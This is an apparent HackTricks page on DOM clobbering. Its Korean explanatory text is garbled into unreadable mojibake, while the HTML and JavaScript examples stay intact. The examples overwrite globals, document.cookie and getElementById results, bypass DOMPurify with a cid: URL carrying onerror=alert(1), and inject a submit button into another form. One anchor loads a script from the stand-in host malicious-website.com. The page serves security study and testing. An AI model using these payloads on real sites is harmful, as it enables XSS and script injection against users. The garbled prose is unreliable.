Dom Clobbering

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์‚ฌํ•ญ

HTML ํƒœ๊ทธ์—์„œ id ๋ฐ name ์†์„ฑ์„ ์‚ฌ์šฉํ•˜์—ฌ JS ์ปจํ…์ŠคํŠธ ๋‚ด์—์„œ ์ „์—ญ ๋ณ€์ˆ˜๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>

์˜ค์ง ํŠน์ • ์š”์†Œ๋งŒ์ด name ์†์„ฑ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ „์—ญ ๋ณ€์ˆ˜๋ฅผ ํด๋กœ๋ฒ„๋งํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋“ค์€: embed, form, iframe, image, img ๋ฐ object์ž…๋‹ˆ๋‹ค.

ํฅ๋ฏธ๋กญ๊ฒŒ๋„, form ์š”์†Œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ณ€์ˆ˜๋ฅผ ํด๋กœ๋ฒ„๋งํ•  ๋•Œ, ์š”์†Œ ์ž์ฒด์˜ toString ๊ฐ’์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: [object HTMLFormElement] ๊ทธ๋Ÿฌ๋‚˜ anchor๋ฅผ ์‚ฌ์šฉํ•  ๊ฒฝ์šฐ toString ๊ฐ’์€ ์•ต์ปค์˜ **href**๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ, a ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํด๋กœ๋ฒ„๋งํ•˜๋ฉด, ๋ฌธ์ž์—ด๋กœ ์ฒ˜๋ฆฌ๋  ๋•Œ ๊ฐ’์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>

Arrays & Attributes

๋ฐฐ์—ด๊ณผ ๊ฐ์ฒด ์†์„ฑ์„ ๋ฎ์–ด์“ธ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>

3๋ฒˆ์งธ ์†์„ฑ(์˜ˆ: x.y.z)์„ ๋ฎ์–ด์“ฐ๋ ค๋ฉด **form**์„ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>

์†์„ฑ์„ ๋” ๋งŽ์ด ํด๋กœ๋ฒ„๋งํ•˜๋Š” ๊ฒƒ์€ ๋” ๋ณต์žกํ•˜์ง€๋งŒ ์—ฌ์ „ํžˆ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค, iframe์„ ์‚ฌ์šฉํ•˜์—ฌ:

<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>

Warning

style ํƒœ๊ทธ๋Š” iframe์ด ๋ Œ๋”๋งํ•  ์ถฉ๋ถ„ํ•œ ์‹œ๊ฐ„์„ ์ฃผ๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด๊ฒƒ์ด ์—†์œผ๋ฉด undefined ๊ฒฝ๊ณ ๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.

๋” ๊นŠ์€ ์†์„ฑ์„ ํด๋กœ๋ฒ„๋งํ•˜๋ ค๋ฉด, html ์ธ์ฝ”๋”ฉ์ด ์žˆ๋Š” iframe์„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>

ํ•„ํ„ฐ ์šฐํšŒ

ํ•„ํ„ฐ๊ฐ€ document.getElementByID('x').attributes์™€ ๊ฐ™์€ ๊ฒƒ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋…ธ๋“œ์˜ ์†์„ฑ์„ ๋ฃจํ”„ํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, .attributes ์†์„ฑ์„ ํด๋กœ๋ฒ„ํ•˜์—ฌ ํ•„ํ„ฐ๋ฅผ ์ค‘๋‹จ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. tagName, nodeName ๋˜๋Š” **parentNode**์™€ ๊ฐ™์€ ๋‹ค๋ฅธ DOM ์†์„ฑ๋“ค๋„ ํด๋กœ๋ฒ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>

window.someObject ๋ฎ์–ด์“ฐ๊ธฐ

JavaScript์—์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฝ์šฐ๋ฅผ ์ž์ฃผ ์ฐพ์Šต๋‹ˆ๋‹ค:

var someObject = window.someObject || {}

ํŽ˜์ด์ง€์—์„œ HTML์„ ์กฐ์ž‘ํ•˜๋ฉด someObject๋ฅผ DOM ๋…ธ๋“œ๋กœ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์–ด ๋ณด์•ˆ ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ์•ต์ปค ์š”์†Œ๋กœ someObject๋ฅผ ๊ต์ฒดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<a id=someObject href=//malicious-website.com/malicious.js></a>

์ทจ์•ฝํ•œ ์ฝ”๋“œ ์˜ˆ์‹œ:

<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>

์ด ๋ฐฉ๋ฒ•์€ ์Šคํฌ๋ฆฝํŠธ ์†Œ์Šค๋ฅผ ์ด์šฉํ•˜์—ฌ ์›์น˜ ์•Š๋Š” ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

ํŠธ๋ฆญ: **DOMPurify**๋Š” cid: ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜๋„๋ก ํ—ˆ์šฉํ•˜๋ฉฐ, ์ด๋Š” ์ด์ค‘ ๋”ฐ์˜ดํ‘œ๋ฅผ URL ์ธ์ฝ”๋”ฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋Ÿฐํƒ€์ž„์— ๋””์ฝ”๋”ฉ๋  ์ธ์ฝ”๋”ฉ๋œ ์ด์ค‘ ๋”ฐ์˜ดํ‘œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ **<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">**์™€ ๊ฐ™์€ ๊ฒƒ์„ ์ฃผ์ž…ํ•˜๋ฉด HTML ์ธ์ฝ”๋”ฉ๋œ &quot;๊ฐ€ ๋Ÿฐํƒ€์ž„์— ๋””์ฝ”๋”ฉ๋˜์–ด ์†์„ฑ ๊ฐ’์—์„œ ํƒˆ์ถœํ•˜์—ฌ onerror ์ด๋ฒคํŠธ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

๋˜ ๋‹ค๋ฅธ ๊ธฐ์ˆ ์€ form ์š”์†Œ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ํŠน์ • ํด๋ผ์ด์–ธํŠธ ์ธก ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” ์ƒˆ๋กœ ์ƒ์„ฑ๋œ ํผ ์š”์†Œ์˜ ์†์„ฑ์„ ๊ฒ€์‚ฌํ•˜์—ฌ ์ด๋ฅผ ์ •๋ฆฌํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํผ ์•ˆ์— id=attributes๊ฐ€ ์žˆ๋Š” input์„ ์ถ”๊ฐ€ํ•จ์œผ๋กœ์จ ์†์„ฑ ์†์„ฑ์„ ํšจ๊ณผ์ ์œผ๋กœ ๋ฎ์–ด์“ฐ๊ฒŒ ๋˜์–ด, ์„ธ์ •๊ธฐ๊ฐ€ ์‹ค์ œ ์†์„ฑ์— ์ ‘๊ทผํ•˜์ง€ ๋ชปํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ์œ ํ˜•์˜ ํด๋กœ๋ฒ„๋ง์˜ ์˜ˆ๋ฅผ ์ด CTF ์ž‘์„ฑ๋ฌผ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฌธ์„œ ๊ฐ์ฒด ํด๋กœ๋ฒ„๋ง

๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด DOM ํด๋กœ๋ฒ„๋ง์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฌธ์„œ ๊ฐ์ฒด์˜ ์†์„ฑ์„ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Document ์ธํ„ฐํŽ˜์ด์Šค๋Š” ์ด๋ฆ„์ด ์žˆ๋Š” ์†์„ฑ์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. Document ๊ฐ์ฒด์˜ ์ง€์›๋˜๋Š” ์†์„ฑ ์ด๋ฆ„์€ ๋‹ค์Œ๊ณผ ๊ฐ™์œผ๋ฉฐ, ํŠธ๋ฆฌ ์ˆœ์„œ์— ๋”ฐ๋ผ ๊ธฐ์—ฌํ•œ ์š”์†Œ์— ๋”ฐ๋ผ ์ •๋ ฌ๋˜๋ฉฐ, ๋‚˜์ค‘์˜ ์ค‘๋ณต์€ ๋ฌด์‹œํ•˜๊ณ , ๋™์ผํ•œ ์š”์†Œ๊ฐ€ ๋‘ ๊ฐ€์ง€๋ฅผ ๊ธฐ์—ฌํ•  ๋•Œ๋Š” id ์†์„ฑ์˜ ๊ฐ’์ด ์ด๋ฆ„ ์†์„ฑ์˜ ๊ฐ’๋ณด๋‹ค ๋จผ์ € ์˜ต๋‹ˆ๋‹ค:

- ๋น„์–ด ์žˆ์ง€ ์•Š์€ ์ด๋ฆ„ ์ฝ˜ํ…์ธ  ์†์„ฑ์„ ๊ฐ€์ง„ ๋ชจ๋“  ๋…ธ์ถœ๋œ embed, form, iframe, img, ๋ฐ ๋…ธ์ถœ๋œ object ์š”์†Œ์˜ ์ด๋ฆ„ ์ฝ˜ํ…์ธ  ์†์„ฑ ๊ฐ’์€ ๋ฌธ์„œ๊ฐ€ ๋ฃจํŠธ์ธ ๋ฌธ์„œ ํŠธ๋ฆฌ์— ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค;

- ๋น„์–ด ์žˆ์ง€ ์•Š์€ id ์ฝ˜ํ…์ธ  ์†์„ฑ์„ ๊ฐ€์ง„ ๋ชจ๋“  ๋…ธ์ถœ๋œ object ์š”์†Œ์˜ id ์ฝ˜ํ…์ธ  ์†์„ฑ ๊ฐ’์€ ๋ฌธ์„œ๊ฐ€ ๋ฃจํŠธ์ธ ๋ฌธ์„œ ํŠธ๋ฆฌ์— ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค;

- ๋น„์–ด ์žˆ์ง€ ์•Š์€ id ์ฝ˜ํ…์ธ  ์†์„ฑ๊ณผ ๋น„์–ด ์žˆ์ง€ ์•Š์€ ์ด๋ฆ„ ์ฝ˜ํ…์ธ  ์†์„ฑ์„ ๋ชจ๋‘ ๊ฐ€์ง„ ๋ชจ๋“  img ์š”์†Œ์˜ id ์ฝ˜ํ…์ธ  ์†์„ฑ ๊ฐ’์€ ๋ฌธ์„œ๊ฐ€ ๋ฃจํŠธ์ธ ๋ฌธ์„œ ํŠธ๋ฆฌ์— ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ด ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•˜๋ฉด ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋˜๋Š” ๊ฐ’์ธ document.cookie, document.body, document.children ๋ฐ document.querySelector์™€ ๊ฐ™์€ ๋ฌธ์„œ ์ธํ„ฐํŽ˜์ด์Šค์˜ ๋ฉ”์„œ๋“œ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2)ย [img, form, cookie: img]

typeof(document.cookie)
'object

์š”์†Œ๊ฐ€ ํด๋กœ๋ฒ„๋ง๋œ ํ›„ ์ž‘์„ฑํ•˜๊ธฐ

document.getElementById() ๋ฐ document.querySelector() ํ˜ธ์ถœ์˜ ๊ฒฐ๊ณผ๋Š” ๋™์ผํ•œ id ์†์„ฑ์„ ๊ฐ€์ง„ <html> ๋˜๋Š” <body> ํƒœ๊ทธ๋ฅผ ์ฃผ์ž…ํ•จ์œผ๋กœ์จ ๋ณ€๊ฒฝ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ์ด๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>

๋˜ํ•œ, ์ด๋Ÿฌํ•œ ์ฃผ์ž…๋œ HTML/body ํƒœ๊ทธ๋ฅผ ์ˆจ๊ธฐ๊ธฐ ์œ„ํ•ด ์Šคํƒ€์ผ์„ ์‚ฌ์šฉํ•จ์œผ๋กœ์จ innerText์˜ ๋‹ค๋ฅธ ํ…์ŠคํŠธ๋กœ ์ธํ•œ ๊ฐ„์„ญ์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์–ด ๊ณต๊ฒฉ์˜ ํšจ์œจ์„ฑ์„ ๋†’์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

SVG์— ๋Œ€ํ•œ ์กฐ์‚ฌ ๊ฒฐ๊ณผ <body> ํƒœ๊ทธ๋„ ํšจ๊ณผ์ ์œผ๋กœ ํ™œ์šฉ๋  ์ˆ˜ ์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

HTML ํƒœ๊ทธ๊ฐ€ Chrome ๋ฐ Firefox์™€ ๊ฐ™์€ ๋ธŒ๋ผ์šฐ์ €์˜ SVG ๋‚ด์—์„œ ์ž‘๋™ํ•˜๋ ค๋ฉด <foreignobject> ํƒœ๊ทธ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Clobbering Forms

์–‘์‹ ์•ˆ์— ์ƒˆ๋กœ์šด ํ•ญ๋ชฉ์„ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค ๋‹จ์ง€ ์ผ๋ถ€ ํƒœ๊ทธ ์•ˆ์— form ์†์„ฑ์„ ์ง€์ •ํ•จ์œผ๋กœ์จ. ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์–‘์‹ ์•ˆ์— ์ƒˆ๋กœ์šด ๊ฐ’์„ ์ถ”๊ฐ€ํ•˜๊ณ  ์‹ฌ์ง€์–ด ์ „์†กํ•  ์ƒˆ๋กœ์šด ๋ฒ„ํŠผ์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (ํด๋ฆญ์žฌํ‚น ๋˜๋Š” ์ผ๋ถ€ .click() JS ์ฝ”๋“œ๋ฅผ ์•…์šฉํ•˜์—ฌ):

<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

์ฐธ๊ณ ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ